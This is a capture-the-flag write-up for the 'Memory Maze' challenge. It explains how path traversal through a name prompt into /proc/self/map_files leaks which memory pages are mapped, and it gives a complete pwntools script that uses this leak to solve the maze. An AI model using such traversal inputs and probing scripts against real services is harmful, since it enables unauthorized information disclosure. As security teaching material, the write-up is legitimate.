> # Memory Maze
> Miscellaneous, 287
> Difficulty: medium (26 solvers)
>> Can you escape my memory maze? Treasure awaits at the end!

We're given C sources for the server and an address to connect to.
We also get a shell script which wraps the C server in an `nsjail` which limits what files it can access and how much memory it can use:

```sh
~/nsjail/nsjail -Q -Ml --port 1337 -R "$PWD/main:/main" -R "$PWD/flag.txt:/flag.txt" -R /dev/urandom -T /tmp --cgroup_mem_max 170000384 -- /main
```

The first thing the server does is generate a "maze":

```C
size_t i, j;
for (i = 1; i < size - 1; ++i) {
if (i % 2 == 0) {
maze->maze[i * size + (i % 4 == 0 ? 1 : size - 2)] = 1;
unsigned int b = get_rand_uint();
maze->maze[i * size + 1 + (b % (size - 2))] = 1;
} else {
for (j = 1; j < size - 1; ++j) {
maze->maze[i * size + j] = 1;
}
}
}
```

This creates a 303 by 303 cell array where the values are 0 (wall) or 1 (hallway).
The pattern has some guaranteed hallways like this (but 303 cells wide instead of 20):

```
xxxxxxxxxxxxxxxxxxxx
x x
xxxxxxxxxxxxxxxxxx x
x x
x xxxxxxxxxxxxxxxxxx
x x
xxxxxxxxxxxxxxxxxx x
x x
x xxxxxxxxxxxxxxxxxx
...
```

But for each of the horizontal walls on the even-numbered rows, one randomly placed gap is inserted, like this:

```
xxxxxxxxxxxxxxxxxxxx
x x
xxxxxxxxxxxxxx xxx x
x x
x xx xxxxxxxxxxxxxxx
x x
xxxxxxxxxxx xxxxxx x
x x
x xxxxxxxxxxxxx xxxx
...
```

Then the maze is "mapped".
For each "hallway" cell in the maze at index `i` in the two-dimensional array, a page of memory at `0x13370000 + (i * PAGE_SIZE)` is mapped with `mmap`.
For "wall" cells, the corresponding page of memory is not mapped.

After creating the maze, the server does is ask us for a "name" which is used to create a file in `/tmp`:

```C
do {
char name[0x100] = { 0 };
puts("Your name:");

recv_line(name, sizeof(name));
if (name[0] == '\0') {
puts("Goodbye!");
return 1;
}
printf("Hello %s!\n", name);

if (snprintf(path, sizeof(path), "/tmp/%s", name) < 0) {
err(1, "snprintf");
}

solution_fd = open(path, O_WRONLY | O_CREAT, S_IRWXU);
if (solution_fd < 0) {
printf("Path \"%s\" is invalid: %m\n", path);
}
} while (solution_fd < 0);
```

Once we give it a valid name, it asks us for our "solution", which must be a string consisting of the characters `N`, `E`, `S`, and `W` of maximum length `303*303`.
The solution is written out to the file we opened previously, and then is used to attempt to solve the maze:

```C
int solve_maze(struct maze* maze, char* solution) {
size_t x = 1;
size_t y = 1;

while (*solution) {
switch (*solution) {
case 'N':
--y;
break;
case 'S':
++y;
break;
case 'E':
++x;
break;
case 'W':
--x;
break;
default:
x = 0;
y = 0;
break;
}
++solution;
char* ptr = maze->addr + (y * maze->size + x) * PAGE_SIZE;
printf("At %lu,%lu (%p)\n", x, y, ptr);
printf("Remaining solution: %.8s (%lu)\n", solution, strlen(solution));
*(volatile char*)ptr = 'X';
}

if (x == maze->size - 2 && y == maze->size - 2) {
return 0;
}

return 1;
}
```

We start at `(1,1)` and need to get to `(301,301)`.
If the maze is successfully solved (`solve_maze` returns 0) then the server prints the flag.

If we try to move onto a "wall" cell, the memory access will cause a segfault since the corresponding memory page is not mapped, but as long as we stay on the "hallway" cells we don't segfault.
Because of the static pattern in the maze, we have known fixed path to the end: move all the way east, south twice, all the way west, south twice, etc.
Running locally without the nsjail script, we can get through the maze in this trivial way.
But when we apply the memory limit, we run out of memory about halfway through the maze and the server process gets killed.
This is because each time we visit a new cell of the maze, we write to the corresponding page of memory, causing that page to be loaded (mapping the pages doesn't actually load them, they only get loaded on access).
This essentially places a limit on the length of the path we can take to the end of the maze, and the only way to finish within that limit is to use the randomly-placed shortcuts.

How can we determine where these shortcuts are?
Their positions are randomly generated each time the server runs, so they're different every time we connect, and if we try to access any cell that's not a hallway, the server immediately segfaults.
The answer lies in `/proc`:

```
$ ./main &
Maze size: 303
Maze address: 0x13370000
Your name:

[1] + 9336 suspended (tty input) ./main
$ ls /proc/9336/map_files
134a0000-134a1000 15842000-15843000 17be3000-17be4000 ...
```

Every time a process maps a region of memory with `mmap`, an entry appears in procfs, and the name corresponds to the address range.
Here we can see that the addresses correspond to the first few hallway cells of the maze: The first hallway cell is at `(1,1)` and the address of its page would be `0x13370000 + ((1 * 303 + 1) * 4096) = 0x134a0000`.

We can determine the existence of a given mapping with some path injection during the "name" prompt.
Luckily, the server will keep asking for a name until it can successfully create a file at `snprintf(path, sizeof(path), "/tmp/%s", name)`, and will print out the error message if it fails to create the file.
The error message is different depending on whether the map file exists or not:

```
$ ./main
Maze size: 303
Maze address: 0x13370000
Your name:
../proc/self/map_files/134a0000-134a1000
Hello ../proc/self/map_files/134a0000-134a1000!
Path "/tmp/../proc/self/map_files/134a0000-134a1000" is invalid: Operation not permitted
Your name:
../proc/self/map_files/13370000-13371000
Hello ../proc/self/map_files/13370000-13371000!
Path "/tmp/../proc/self/map_files/13370000-13371000" is invalid: No such file or directory
Your name:
```

So we can use this trick to check every cell in the even-numbered rows to find the randomly placed gaps, and then compute a shorter route through the maze.
This route is short enough to make it to the end without exceeding the memory limit.

```python
from pwn import *

SIZE=303

BASE_ADDRESS = 0x13370000
PAGE_SIZE = 0x1000

r = remote("memorymaze.hackable.software", 1337)
# r = process("cgexec -g memory:limitgroup ./main", shell=True)

solution = ''
x = 1
y = 1
while y < 301:
print(f"At {x},{y}")
_y = y + 1
gap = 1 if (_y % 4 == 0) else SIZE-2
move = gap - x

search = range(max(1, x - abs(move)) + 1, min(SIZE-2, x + abs(move)))
print(f"Known gap is at {gap}, searching for better gap in {search}")
for _x in search:
addr = BASE_ADDRESS + (_y * SIZE + _x) * PAGE_SIZE
r.recvuntil("Your name:")
r.send(f"../proc/self/map_files/{hex(addr)[2:]}-{hex(addr + PAGE_SIZE)[2:]}\n")
r.recvuntil("is invalid: ")
l = r.recvline()
if b'Operation not permitted' in l:
# print("YES")
gap = _x
move = gap - x
break
elif b'No such file or directory' in l:
continue
else:
raise Exception(f"Unexpected result trying to check {addr}: {l}")

print(f"Best move: {move} to {gap}")
if move < 0:
solution += 'W' * abs(move)
else:
solution += 'E' * abs(move)
x += move
solution += 'S' * 2
y += 2

solution += 'E' * (301 - x)

print(f"Got solution (length {len(solution)})")

r.recvuntil("Your name:")
r.send("Inigo Montoya\n")
r.recvuntil("Solution size (max 91809):")
r.send(f"{len(solution)}\n")
r.recvuntil("Solution:\n")
r.send(solution)
r.interactive()
```